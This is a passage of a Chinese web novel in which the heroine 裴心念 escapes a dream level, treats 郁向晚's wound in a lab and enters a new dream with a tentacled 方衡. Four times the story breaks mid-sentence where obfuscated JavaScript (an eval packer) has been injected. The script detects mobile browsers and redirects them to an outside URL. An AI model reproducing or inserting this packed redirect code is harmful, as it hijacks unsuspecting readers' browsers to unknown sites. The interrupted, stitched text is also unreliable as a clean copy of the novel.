祝她好运。 裴心念上楼把这个家里所有的活人都薅了下来。 奶奶爷爷爸爸,一个小妹一个弟弟。 方衡和林木在她左右,虽然不知道裴心念要做什么,但总之秉持着指哪打哪的原则,把屋里所有打算出声说话的人吓得噤声。 裴心念清了清嗓子,用最柔和的声音说话,保证没有梦境系统所担心的什么暴力问题。 “关于催我结婚这事,我想……不用家里再操心了。”眼前几位NPC的表情从惊恐变成期待。 “小念啊,你终于想开啦,早就该这样,我们也不会天天惦记着这事嘛。” 中年男人先说话,讲着讲着笑起来,想要问问她对象的详情。 裴心念没让他的笑容维持超过一秒钟。 “他们俩都赘给我。” “如果你们着急,那我要在村里办八十桌酒席。” “你说什么?” 众人怀疑自己听错了句子,眼珠都快瞪了出来。 “之前您不是说这事很重要嘛,人家也是周正的小伙子,多准备点礼金呗。” “要双倍的。” 裴心念依旧笑眯眯,面不改色地看着爷奶昏了过去,地上流出诡异无法伪装的肢体。 原来诡异NPC被气晕了会现原型啊,裴心念倒是没见过这种情况,相当新鲜。 小弟小妹被赶回了自己的房间,裴心念这一关的爹大喘气好几次,一副被怒火攻心的模样。 “你——” “我怎么生了个这样的孽种,你听听你说的是人话吗?” 对方脸涨得通红,话说得一字一顿,气都缓不过来。 “当然,我是人你是诡,我说的才是人话啦。” 裴心念幽幽道。 除夕的烟花在这句话的尾音落下时爆开。 【梦境关卡任务判定中——】 【任务成功】 【推演得到:大年初一,唯一清醒的家人出门走亲戚时,不敢提到梦主的备婚情况,实现任务要求】 【积分+100】 【感谢体验塞塔梦境,祝您旅途愉快】 原来每次在梦境里当梦主,还有这种列车到站的播报可以体验。 她拿着这100积分能干嘛呢? 裴心念站在原地等着自己消散,这一次的关卡结束却分外拖沓,可能是梦境人数过多的原因,有些卡顿。 旁边的林木先消失,他可能要再来一局。 裴心念手上一重,有人握住了她的手腕。 “结婚证上只能写一个人的名字。” 方衡很认真,把刚刚她所说的话都听进去了,“林木会分走你的财产,可以写我。” 裴心念张了张嘴,有些无力吐槽。 不是不爱吗,不爱也能结婚,还要抢名分吗。 好在这次的煎熬在十秒之后结束了。 彻底离开梦境之前,裴心念终于在方衡脸上看到一个明显的表情。 “为什么?” 他尝试留住离开的人,只抓到了一片冰凉的空气,正是除夕之夜的合理气温,没什么好追问的。 —— 裴心念终于回到了现实中,脚下的游艇依然在颠簸当中,她一时之间没有调整好重心,差点站不稳。 脚下有酒杯打碎的痕迹,水渍与碎片重叠,折射出粼粼的波光。 她首先反应过来,想到的是,这次梦境关卡的时间流速很慢。起码这片海域上空的阳光依然耀眼,还没有进入夜间。 裴心念咬紧牙关,身体摇摇晃晃,极力控制着不向那些碎片倒去。 也许是一个浪头打来,她脚底一滑,瞬间失去了平衡。 裴心念闭眼捂着自己的脑袋,祈祷不要是头着地。 在塞塔梦境里没有死亡,总不能出来之后摔死或者摔傻了吧! 预料中的疼痛没有出现。 裴心念从指缝里偷偷往外看,见到郁向晚熟悉的脸,才放心地喊出声:“你在这里等多久了?” “没多久,刚刚站稳。” 郁向晚把她拢住,靠着栏杆,准备寻找离开的通道。 这会儿海面上倒是平静下来,两人可以正常地在甲板上直立行走。 裴心念借着能站稳的时机,四处环顾,却没见到原来在这里的游艇主人。 “看什么?”身旁的人明知故问。 “你比我先醒过来,见到荀行了吗?” “不知道。” 难道是在他的实验室里,还没出来吗? 裴心念压下心中的疑惑,轻轻拍了拍郁向晚。 他右肩的伤口,外沿血迹依然清晰可见,并没有梦境中愈合的迹象,甚至在走动之间还会冒出更多的新鲜血液。 “你的伤怎么办?”裴心念发愁,开放性创口会导致失血过多和感染,总不能就这么豁着强行撑到外面吧。 郁向晚貌似真是这么想的。 他神色如常,把裴心念揽到自己左边,额头挨着额头贴了贴,像两只蜗牛在对触角。 “没关系。” 裴心念想到骚乱的开始:“你是从下面跑上来的?” 郁向晚点头。 “我们去下面看看,说不定有线索。”她迟疑地把目光投注到那块伤得不轻的肩头,“还有星际医疗的资源,你伪装闯进来的时候,下面应该也有对应的物资吧?” 简而言之,就是打算去下层甲板扫荡一次。 两人互相搀扶着下了一层,目之所及混乱不堪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103653|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆木桶在地上滚来滚去,其中错落的人影东倒西歪,大约都在梦境中沉沦。 “精神病毒医院派来接驳的停靠点,在左船舷前方。”郁向晚提醒她。 裴心念嗯了一声,两人在满地的碎块和躺着的人身上跨过去,努力穿过障碍。 医院的小船已经离开,不过地上放有散落的医疗箱。 两人正一心往前方靠近,裴心念不耐烦地踢了踢脚下突然一翻身的人。 这个躺着意识不清的人也是有够大只的,横着直接把她左右两边的出路都堵住,根本没有留出任何施展的空间。 偏偏还要再往前两步才能够到…… 裴心念不满地啧了一声,本来打算让郁向晚把人搬开,想想他也受了伤,只好使劲用脚去踢。 不动。 纹丝不动。 睡得死沉,这是除了塞塔波之外,进入梦境病毒的另一大特征,有时会与睡眠猝倒和死亡的征兆混淆。 裴心念没空去想对方到底是死了还是进了塞塔梦境——当然后者的概率更大一些——扶住郁向晚的手,轻捷地往外一跳。 人再长也只是一条人,可以跳出去的。 她得意地回头看了一眼原地的郁向晚,却被余光所捕捉到的面容捕获了注意。 这不是文盲梦主吗。 裴心念看了一眼还皱眉在塞塔梦境中挣扎的林木,一个大胆的想法冒了出来。 她三步并作两步取来了被甩在船尾的医疗箱,简单给郁向晚包扎了一圈。 很快就绑好纱布,裴心念拍了拍手,大功告成。 当然,裴心念的手艺肯定不比之前星云的手法好,只不过她面对的伤患比较能忍。 “我们把他带走。” 裴心念看了一眼旁边墙上的船尾逃生通道,很快找了逃生接驳艇的存放位置。 她迷路的情况一般是实地探索的时候才会发生,这种看图纸进行分析的地图倒是少有失手。 郁向晚曾经评价这种情况为心理地图具身失认。 叽里咕噜地不知道在说什么,反正现实中她们俩出门都是裴心念发话郁向晚带路。 这次也是如此。 荀行可能真的在自己的实验室里不知天地为何物了,自己家游艇上的小船被拖出来都没任何反应。 裴心念回头看了一眼夕阳下的大型游艇,以及海域上沉沉的海波,明明有阳光照射,水面却像是只有一层壳子能接触到阳光,在所有的褶皱中毫不犹豫地透露出本体的冰寒与黑暗。 裴心念看着海面发了一会儿呆,郁向晚在她旁边操作方向。 莫名地,这海波给她一种在塞塔梦境背面的体验。 她每次进入体验到的都是没有生命危险的任务,就像被阳光烤得焦香酥脆的那一点点浪头。 那么,另一些关卡究竟是怎样的呢? “嘭”的一声,实验室的门被推开,谢长亭吓了一跳。 本来是休假的日子,除了她以外应该不会有别人来。 裴心念有些意外,但还是请求她搭把手:“长亭姐姐,你能帮他看一下伤势吗?” “啊,好的。” 谢长亭慌乱地收拾好被弄乱的台面,转身去医疗舱做准备。 郁向晚被裴心念推了过去。 至于林木,那么大一个人,谢长亭居然都没发现。 这当然很反常,她总不能是假期自愿加班吧。 裴心念把林木放倒在椅子上五花大绑,保证他醒来逃不掉之后,也跟着进了医疗舱。 43.第六关(1) 郁向晚的伤是正常的撕裂伤,简单清理,有专业人士包扎,处理起来很快。 裴心念倒是担心她之前的手劲没有轻重,会到处二次伤害,不过谢长亭打消了她的疑虑:“没有问题,处理及时,十几天就好了。” 裴心念点点头。 她分出一点注意力来观察谢长亭的神色,唇色发青发白,有明显的齿痕与开裂,应该是很久没喝水了,一直熬到现在。 如果是这样,她必然有担心到坐立难安的事,而且一直到刚才裴心念等人破门而入,也没有解决。 是什么呢? 裴心念乖巧地坐在医疗舱最外面的看护座椅上,远远地抬头望着忙碌的谢长亭,一言不发。 原本十分紧绷的女人在这充满信任的沉静中也放松下来,很快完成了缝线收尾的工作。 就在谢长亭松了一口气,准备溜出去带走文件的时候,门口乖乖仰头看她的女孩说话了: “长亭姐姐,你是不是有亲人在塞塔梦境里?”裴心念十分诚恳,在苍白的脸上显得有点太亮的眼睛盯住谢长亭。 身着白大褂的人停住,身体仿佛被打了僵直一样一步也挪动不了,明明裴心念根本没有拉住她,也没有任何要控制她行动的意思。 女孩的目光很锐利,谢长亭不得不稍稍偏转自己的脸,避免被过分直白的审视灼伤。 在她看来,眼前的情况就像是一只小白兔突然借了苍鹰的眼睛,很不适应。 但是事实其实很简单。 裴心念忘记戴眼镜了,需要很用力地瞪着才能看清楚一些。 只是看起来凶,她没有要逼问谢长亭的意思。 “你……你怎么知道?” “我就是知道。”裴心念小幅度点了点头,她的猜想被证实了。 谢长亭比她们都要大,实验室里的职务对她来说不是校园实习,而是养活自己的吃饭活计。 她刚才在操作台上翻动的东西,虽然被有意遮掩过了,但裴心念能看出来是她留在会议室的材料复印件,因为边缘有一些她随便涂鸦的、看起来略有点抽象的公式推演。 裴心念在S.T.,除了一些独自开发的智械之外,牵头负责的项目目前也只有塞塔梦境修改器,其他的还没来得及开始呢。 能在公共区域被发现的,她又如此眼熟的文件,当然就只有塞塔梦境的相关资料了。 “而且长亭姐姐你这么焦急,应该是有什么重要的人面临危险,只有塞塔梦境符合这个特点。” “唔。”谢长亭在门口短暂地犹豫了一瞬,很快转了过来,正对着裴心念。 “既然已经知道了……” “可以请求你帮帮我吗?” 她清秀的眉峰蹙起,声音依然保持着稳定,但从表情上不难看出,谢长亭快要崩溃了。 “当然,我也有需要你帮忙的地方。” “不过先说好,我没办法帮你带出特定意识体,最多只能保证你用NPC身份进入梦境关卡。” “我知道,这已经够了。”谢长亭颤抖着声音回答。 裴心念跳下椅子,也没管在舱里伸长脖子看她的竹马,把谢长亭拉到绑着林木的椅子上。 谢长亭倒吸一口凉气。 就那么一眼,她心里已经闪过了上百个血腥的场景。 念念难道要审问他吗? 让她保证一下别弄到没有生命体征了……? 裴心念探过头来,很快明白谢长亭绝对是误会了。 这椅子是特制的,刚才忙着动手裴心念没注意,现在细看,才发现是可以针对性提取脑电波的设施,就是操作过程略有一些不人道。 再加上五花大绑的时候一点也没控制,看起来真的很像要做什么恐怖的事。 “我的意思是让你帮我检查一下他的脑波状态,有没有成为植物人的风险。”裴心念摆摆手,“这么收拾是防止逃跑的。” 谢长亭连忙点头。 趁着她做全面脑波检查的时间,裴心念紧急对修改器进行了一轮大规模更新。 更新的范围相当广,如果要说具体的程度呢,那就是版本号的第一位都要改,从1.3.6改成2.0.1这样。 除了回传最新从荀行那里偷师学来的空间实验室数据,扩大每次修改器搭载意识体的数量,还要对世界背景进行侦测,同时初步判断人物的性质。 世界背景的资料主要来自于上一轮猫之国的经验,如果能先行得知是极夜兽世,很多事情更方便从第一周目就开始布局。 人物性质则分为梦主、NPC、流窜意识体、外来意识体,人物之间的区别对梦境中的存活与探索有非常大的影响,虽然数据可能不够,但必须有一个初步的功能模块,之后可以继续完善。 万一下次再在梦境里遇到莱恩和荀行,她也好有个准备。 至于为什么要带回林木…… 是因为她在考虑有没有办法精准定位具体的意识,从而“导航”到相应的梦境域之中。 林木明显还在梦境之中,她可以先拿他做个试验,看看能不能进入他所在的塞塔梦境关卡。 在此之前她一直是无法控制自己的落点的,但这在数据手机完善的后期,会成为地图式搜刮效率底下的一个元凶。 就像蒙着眼睛摸一块地图,一开始可以随便从哪里开始,但是到最后只剩几块地的时候,还是有明确的目标比较方便。 ……何况她也不想自己突然掉在哪个食人族的篝火正上方。 裴心念把手中的几个模块都分析梳理结束,靠在工位上半眯着眼。 刚才疯狂调试没有感觉,现在冷不丁停下来,手臂上的冷空气存在感十分强烈,裴心念才后知后觉地意识到,中央星的冬天也要来了。 在梦境里经历了那么多个冬天,她都快有点分不清现实与梦境了。 裴心念搓了两下手臂,凉飕飕的。 实验室前几天休假了,温感系统暂时关闭,温度稍微低了些。 身上毛茸茸的触感降落下来。 郁向晚帮她把放在实验室的毛毯拿出来,像裹小树一样,把她全部装进了毛茸茸的毯子里。 “滴——”他顺手把温感系统打开了,也不知道用的哪只手。 裴心念把背抵着椅子的后边,往后尽情地仰倒,抬头观察和天花板在一个高度的脸。 “你不再在医疗舱里躺一会儿?” 这可是有点不遵医嘱的意思,反正刚刚她两只耳朵都听见了,长亭姐说他起码需要躺一个晚上才能活动。 “怕有人在这里都不知道冷不知道饿。” 郁向晚把她的脸托起来,“吃什么?” “不吃吧——”裴心念惨惨地喊了一声,她觉得自己不是很需要进食。 ……虽然她的肚子,此时确实喊了两声。 人类的赞歌就是意志的赞歌! 裴心念想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108398|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后两只腿跟着郁向晚来到了小餐吧。 有吃饭的意志也是意志。 她想,很认真地举起叉子,咬了满满一口小肉排。 “这次不能带你哦。”吃得心满意足之后,她颇有些心虚地提及修改器更新的事。 稳定更新最多只能带一个人进入塞塔梦境,再多会出问题。 “我知道。”郁向晚用拇指擦去她唇边的油脂,“上次我好像没有帮上什么忙。” 他指的是自己反而提前出来了,虽然在郁向晚的视角里,裴心念只过了几十秒就再次出现,但那是时间流速的问题。 “你最后是怎么出来的?” 裴心念咂咂嘴。 当然是再找了两个未婚夫。 她很神秘地笑了笑,思考怎么跟郁向晚说,他能不对林木现在的身体做出什么不太符合星际法的事。 “小念,结果出来了。” 谢长亭适时地走出来,提醒裴心念她拜托自己做的事。 一般来说,正常的公司关门后实验材料是不允许员工使用的,这样可能在行政上存在风险。 小实验室的好处就是可以拿着老板的经费使劲研究,只要不把陈清泉的家产败光就行。 裴心念对郁向晚神秘地摆摆手:“处理完这个再告诉你。” 到时候林木她也用完了,就没有这种顾虑啦。 裴心念哼着小曲去接谢长亭手里的纸。 “依然是沉入塞塔梦境时经典的脑波结构,还是陷入其中的梦主,没有转化为NPC。”谢长亭指指材料上明显的几个标识,对她解释道。 “好。” 裴心念点头,招呼几人把林木的椅子推到休眠舱旁边,准备接好准线进行正式的操作。 黑进林木此时意识体所链接的梦境。 谢长亭也在旁边的休眠舱里紧张地躺着,等待的时间,她听到裴心念问她: “长亭姐姐要找谁?” 她还没有问究竟是水被卷入其中,能让谢长亭如此魂不守舍。 “我的妹妹。” 裴心念的眼珠转了转。 如果还有时间的话,应该看一看谢长亭妹妹的资料,这样她进入梦境之后如果见到了,可以帮点忙。 不过谢长亭似乎没有这个意思,帮助人的事,还是不要上赶着好了。 万一有什么难言之隐她不愿意说呢。 她闭上眼睛,感受着身体渐渐与休眠舱的频率重合。 周围适宜的温度发生着变化,好像在……慢慢攀升? 裴心念闭着眼皱了皱脸,感觉自己好像在一个大火炉里烤,皮肤上冒着丝丝热气。 她不会真的掉到食人族的篝火里面了吧! 裴心念一个激灵,猛地睁开眼。 四周灰暗一片,被浓稠的墨汁浸染一般,几乎分辨不出东南西北。 她总觉得有什么在黑暗中盯着自己,阴恻恻的。 裴心念很快发现,她的身体也根本无法自由活动。身周的热度覆盖她的所有皮肤,仿佛令人窒息的怀抱,根本就挣脱不开。 左边脸颊忽然被触碰,力道很轻,但触感有点黏腻。 裴心念猛地往后缩。 “叮”,似乎打开了某些开关,眼前小片区域亮了起来。 幽幽的萤光映照出一张熟悉的脸,是上一关的方衡,就连神色也是与之前如出一辙的凝重严肃。 “不要跑。” 44.第六关(2) “你放开,太热了。”裴心念推了一下挡在在眼前的方衡,掌心正按在他的脸上。 她顿了顿。 指尖传来的触感和周围温度一点也不匹配,凉得她怀疑对方是冰河里捞出来的水鬼。 ……误会他了,周围的热度可能不是因为这个怀抱。相反的,方衡还给她降了点温。 什么生物呢,就这样靠着自己的体表低温在火里生存? 她有点怀疑是认错人了。 修改器的信息正在源源不断地输出,但裴心念视线所及的梦境内容,从头到尾都只有方衡一个人,其他什么也看不清。 越过他肩头,是一片漆黑,她似乎身处某个洞窟,远处还能隐约听见水滴落的声音。 “哒、哒、哒。” 一下接着一下,敲得人心烦。 “你听见了没有?”裴心念皱眉,她已经看到了塞塔梦境系统给他打的姓名框了,就是方衡,她没认错。 上一关还是NPC,这一关就变成梦主了吗?塞塔梦境的NPC一般是死亡的意识体,梦主才是活人被困在梦中。 难道他诈尸了? 裴心念等待着方衡的心声。 【我要做什么?对她求偶吗。】 听到是听到了,确实是梦主。 但话语中的含义一时半会儿有点难以理解。 裴心念定睛看了一眼修改器传来的背景资料。 (卡斯特拉雨林,极度炎热,永昼。) (主要物种为两栖类、爬行类,有部分水生生物。) (动物为统治者,可以化作人形。) 有种熟悉的感觉,与小猫星云所处的西伯利亚,似乎是极端相反的两种情况。 一边热死一边冷死。 “有猫科动物主宰的极夜之地吗?”裴心念忍不住暗中询问修改器,暂时回避身上落下的过分灼热的眼神。 (是的,本梦境关卡世界存在极夜之地。) (修改器中存在一定数量的相关数据。) 那就是第四关的数据,她能在这里见到小猫。 不错。 本来她以为林木所处的世界应该还是之前的千禧梦核世界,结果有些意外。 但也不是完全说不通。 毕竟这个世界曾经被荀行黑进去过,在他的游艇上,在他游艇上的意识体,可能在数据乱流中被卷入其中。 裴心念重新把注意力放在方衡身上,如此贴近观察,比上一关在社交距离看到的面孔更有冲击力。 他的眉眼偏凌厉,剑眉能压住上半部分的眼睛,造成的结果就是这个角度像是在发怒。 很凶。 ……不过现在这个场景,她也分不清对方是不是实际上也很生气。 毕竟刚刚她照脸打了人一巴掌。 正常人应该都会不太高兴吧。 方衡不动声色,修改器解析出来的心声也很平静,甚至可以称得上毫无波澜。 【她是人类,受不了的。】 他的手仿佛试探或者为了验证自己说的话一样,触碰到了裴心念的脖颈。 微微收紧,观察她的反应。 【体温也很低,看起来就很虚弱。】 …… 难道不是你的体温更低吗,热带雨林生物! 裴心念梗着脖子往后挣,发现自己的两只手统统被对方钳制住,就连颈侧的动脉旁也有缠绕的窒息感。 这如影随形的束缚从后方而来,不是他试探的手。 她费力地甩了甩自己的手腕,皱眉发出模糊的声音。 等一下。 好像有什么不太对。 一个人两只手,最多也只能控制住她的两只手腕,再扼住她的咽喉吧? 那她脚踝上是什么东西?! 裴心念深吸一口气。 不知道方衡还有没有上一关的记忆,从目前的心声中她听不出端倪。 上次在所谓的机构里,他就不太正常。 这一回也很有可能是怪物。 人类不太会用“求偶”这种说法来描述追求的吧……? “不要乱动。”方衡一字一句道,有些困惑地歪了歪头,“我之前是不是在哪里见过你?” 忘记了吗? 裴心念只觉得手腕脚踝上的束缚越收越紧,暂且停下徒劳的挣扎,直视着他。 “我救过你的命。”她信誓旦旦,“你就这样回报我吗?” 方衡静了一瞬。 他阴翳的目光掺了一些困惑,貌似真的在思考是否确有其事。 裴心念在这间隙努力伸长手指,手腕内扣,尝试触碰那缠绕阻碍她行动的东西。 指尖触碰到的与人类皮肤有异,弹性更足,似乎有黏液附着。 (本次梦境关卡解析进度:30%。) (未知生物的腕足。) 修改器更新完进度,默默提醒她。 “试一下。”方衡自说自话地凑过来,重新把刚刚费力拉开的距离弥合,凉凉的呼吸倾洒在裴心念的脖颈皮肤上。 其实在周围就像是一片烤火炉的时刻,这种凉风究竟是不是令人毛骨悚然也在其次。 主要是能让她缓一口气—— 下一秒裴心念就被四肢上的腕足勒得一口气没上来,差点晕过去。 方衡对此若无所觉,试探性地把微尖的牙搁在她颈动脉搏动的位置。 因为窒息充血,裴心念眼底红了一片,正要再次尝试挣脱,却在此时屏住呼吸。 没别的,怕方衡一不小心把自己咬死了。 等下血溅三尺可不是什么美妙的体验。 她甚至在思考是不是应该重置一次,又担心稍后找不到谢长亭。 ——两个人一同进入塞塔梦境,就是会被绑定在同一关的。 裴心念脑中乱乱地想东想西,忽的被突兀打断。 没有脖子被咬断的痛苦,方衡把他的牙齿收起来了。 改成小心翼翼地亲吻了一下眼前的人类。 裴心念尝试偏头避开,居然也能实现。 腕足束缚的压力减弱了许多。 她知道自己暂时远离了危险,果断向后仰倒,全身重量都往右脚踝的那个支点砸下去。 原本牢不可破的桎梏被她突如其来的变故弄得失去了平衡,即使只有两个呼吸的时间,也足够裴心念想明白了,这些腕足就属于方衡。 他靠近时会激动地绞紧,神思分散时会有松动。 凉呼呼的触手怪。 当然,这些如有吸盘一样的黏腻腕足并没有放开她,只是出现了短暂的受力不均。 裴心念努力往后够,在貌似是墙面的地方硬生生抓了一把,脑袋着地之前,手中紧紧攥住一个战利品。 【过分活泼,会到处乱跑。】 方衡皱眉把她往回拢,动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111975|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作到一半,突然停下。 裴心念死死地按着他的其中一只腕足,灼烧的痛感从那里蔓延开来。 方衡有点迟缓地转过头,盯住裴心念。 裴心念没有眨眼,她的眼睛现在痛得要命。 不仅眼周刺痛,手里按着所谓战利品的区域也很难受。 她甚至不知道这是什么,修改器也完全无法从根本陌生的环境中解析出答案。 恍惚间似乎听见“唰”一样的声响,方衡把所有缠绕着她的腕足都收了起来。 裴心念在原地摇摇欲坠,哐地靠在洞窟石墙上。 “你把我准备的小东西都摁死了。” 方衡陈述着事实,眉心紧拧,是一个真正苦恼的表情。 什么叫摁死了? 裴心念大口呼吸灼热的空气,终于勉强感觉到自由。 即使如此,这个黑暗巢穴中的气体温度也太高了,她几乎要被烫得呛咳。 她顾不得这些,尝试看清手中抓着的到底是什么。 摸起来一个团状的结块,也不会动,是有生命的吗? 黑暗阻止了她继续探寻,裴心念的夜视能力又比正常人都差一些,当然什么也没看出来。 【我应该惩罚她,对吗?】 方衡在问梦境系统。 仿佛有人擦开了火柴,洞穴内瞬息之间有了光亮。 裴心念闭了闭眼,如果这致死亮的光源不是在她掌中,那就更好了。 手里那一团东西发出强烈的光芒,如同有生命一样在她指缝间流动,裴心念甚至在电光火石之间看到了裂开的口器,下一秒就要咬得她血流如注。 她赶紧撒手,拍掉所有试图赖在自己身上的活物。 那些东西落在地上,很快四散开,像萤火虫一样带着光芒,勉强点亮黑漆漆的巢穴。 “这是什么?”裴心念直接问。 “这是我的卵。”方衡缓慢回答: “想要漂亮的巢吗?这样不喜欢,那再换一种。” 什么叫你的卵啊! 裴心念差点没有从满地都是怪物卵的地方跳起来,那些光点弥散的速度相当迅速,下一秒就找不到几个能下脚的地方了。 “你的卵就长这样?” “死了才变亮的。”方衡依然面无表情,说这话时却仿佛有些无辜似的,摊了摊手,把自己受了一点点伤的腕足殷勤地伸到裴心念的眼前。 其实根本看不出哪里有在流血,腕足的尖端弯了弯,很高兴似的,亲昵地摆动,仿佛在给她比什么手势。 裴心念定神,死了?那就行。 “想要漂亮的巢吗?”方衡的上一个问题没有得到回复,又问了一遍。 此时洞窟中逸散的光点把两人之间照亮,裴心念能清晰看到他一副人模人样地站在身前,身后某处探出那只比起它的主人过分热情的触手。 事情远远不止如此。 那些死去的卵温度过高,直接把洞穴周围铺设的精美装饰一下燎了起来,白焰窜了三米高。 方衡十分执着,目光没有片刻离开她。 “你放我去西伯利亚走一趟,旅游回来心情好了,就喜欢漂亮的巢了。”裴心念漫不经心地满嘴跑火车,反正不管她说什么,对方的目的都不会被轻易改变。 筑巢,求偶。 不过刚刚她不小心把人家的巢穴弄得稀巴烂,卵也摁死了,一切进度都要从头再来。 45.第六关(3) “不行,只能在这里。” 方衡甩下这么一句话,后退了几步,整个人与身后的墙面融为一体,瞬间消失无踪。 不知道到底是急着去做什么。 再搬一窝新的来? 裴心念怀疑这是对方的障眼法,在原地等了好一会儿,直到修改器的数据波动都显示不出梦主的体征才作罢。 现在她独自面对眼前的白色火焰,整个洞穴里没有第二个会喘气的生物了。 裴心念警惕地抽出水管,避开白火最为炽盛的区域,小心落脚。 那些死去的卵在空气中扩散开之后,四周的温度居然神奇地降低了,好歹能让人正常呼吸。 裴心念啧啧称奇,甚至还绕着四周的墙体走了一圈。 整个巢穴是圆形的构造,墙面粗糙不平,有岩石天然形成的孔洞。 没有肉眼可见的出口,也没有突起的机关之类,整个空间浑然天成,俨然一副牢不可破的姿态。 也就是那些气孔保证了呼吸的畅通,否则在这种全封闭的地方待久了,就算没有幽闭恐惧症,也要窒息而亡。 怎么出去? 裴心念叹了一口气,不知道谢长亭现在怎么样了。 她蹲下身,试图把正在发挥死后余热的小卵挑一只上来仔细端详。 可惜这些小东西滑不留手,就像刚刚紧缠着她的腕足一样,除非它们有意要停留,否则根本抓不住。 “别跑嘛!”裴心念自言自语,戳了戳其中的一个漏网之鱼。 上一秒她还在躲着这些东西走,现在倒好,捞也捞不上来。 这是真的死掉了吗? 为什么—— 裴心念还在暗自评估着方衡这次的物种,突然背后传来“吱”的一声,仿佛一只老鼠掉进油壶里的动静。 她迅速扭头。 “你,你好?”来的是个高大的青年,尴尬地站在原地,手脚都不知道往哪里放。 “啊,又见面了。”裴心念耸耸肩。 这个巢穴在边缘处有些低矮,林木不得不弯着腰,看起来就像对她鞠躬致意一样。 “你还记得我?!”对方清澈到有些愚蠢的目光亮了起来,满是庆幸与惊讶。 “这次有什么任务?”裴心念问。 林木没来得及回答,洞穴里陆陆续续又挤进了两个人。 整齐一致的服饰,似乎是他们的工服。 哪怕林木再鲁莽,也知道这时候不能直接开口说话了,只能带着担忧对她努力地挤眉弄眼。 裴心念不忍直视。 有一点脑子但不多,这和开口说“她们”认识也没多大差别了吧! “你们是?” 裴心念把握着武器的手往身后藏,看着这一个两个都能穿墙而过的非人生物,心说这次要找到人还有点难度。 “王请您休息。” 另一名怪物开口,这是一个看起来年龄比林木大一些的苍白脸色青年,脸上有谄媚的笑容,稍显僵硬。 显然,系统都没给他们的姓名框,根据修改器的判断,他们都只是跑腿的NPC而已。 “在这里休息吗?”裴心念抬脚碾了碾地上某一丛无害的火焰,问道: “我躺在地上休息?” 这里方才倒是有张和巢穴一样圆滚滚的床,不过已经被烧得无影无踪了。 “呃,不是的……”苍白青年让开身位,从身后被打开的门洞处推进来一张软椅。 裴心念盯着他们的动作。 这巢穴的墙体正常时无法分离,也不能出入。 她只能看到若隐若现的腕足尖端,在门外徘徊。 难道只有这些怪物和墙面融合的时候才能开门吗? 有没有密码或者钥匙之类的? 裴心念一肚子的问题咽了下去,得找个机会问问林木。 “您可以在这里休息。” 一眨眼,软椅便被推到了裴心念跟前。 这件颇为宽大的器具几乎能容纳两人,露出来的椅腿似乎金光闪闪,但被上面铺盖着的毛茸茸毯子遮掩住了。 这毯子疑似是从某些有皮毛的生物身上剥下来的,边缘透出薄红的血色。 她抿了抿唇,雨林给她的感觉要比极夜之地更野蛮些。 ……不考虑小猫它们那个地下拳场的话。 她忽然福至心灵。 这里这样黑,不会也在地下吧。 裴心念站在软椅前迟迟不落座,另一个自进门以来不发一言的怪物说话了: “请您坐下。” 裴心念看过去,说话者的脸上有一道贯穿全脸的疤痕,整张脸如同碎裂的面具。这还不是最诡异的地方,他的瞳仁漆黑,黑色完全覆盖整个眼睛,连眼珠的转动都看不出来。 “我站着不行吗?”她反问。 “王让您坐。” 这一声是三个人同时发出的,声音重叠,整齐地像是一个人。 裴心念下意识地瞥了一眼林木,悚然法决他的眼珠也成了那样全黑的深色。 她向后两步,倒在软椅正中。 搞什么! 裴心念不说话了,甚至不想看对面三双黑漆漆的、傀儡一样的眼睛。 他们沉默地围过来,站到了事先设定好的位置。 裴心念真想给几位做个物理驱魔,可惜手里水管只有一根,没法同时打爆三颗头。 三人站定后只过了两个呼吸,林木疑惑的声音响起: “我怎么跑这儿来了?” 语调相当滑稽,勉强驱散了一些空气中的恐怖氛围。 再去看时,三人的瞳孔都恢复了正常。 裴心念这下没心思去一个个套话了,恐怕所有人的精神都在掌控之下,无法逃离监察。 “您有什么需求吗?”倒是苍白的青年主动问起了她。 “我要吃饭。”裴心念在椅背上一动也不想动,冷静下来才发现自己肚子开始蠢蠢欲动。 西伯利亚的人饭尚且一碗难求,这里呢? 苍白青年闻言摇摇头,用沉默回答她。 没有就没有,装什么阔呢。 裴心念啧了一声,到底没出声讽刺。 这三个人能同时被掌控精神,很有可能方衡都能直接看到这里发生的一切。 如果真像她的猜测一样,万一破防了回来又把她五花大绑了咋整。 还是算了。 “你们王去哪里了?”裴心念安静了一会儿,又忍不住问。 这总不算是机密吧。 “不能——” “在审判罪人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 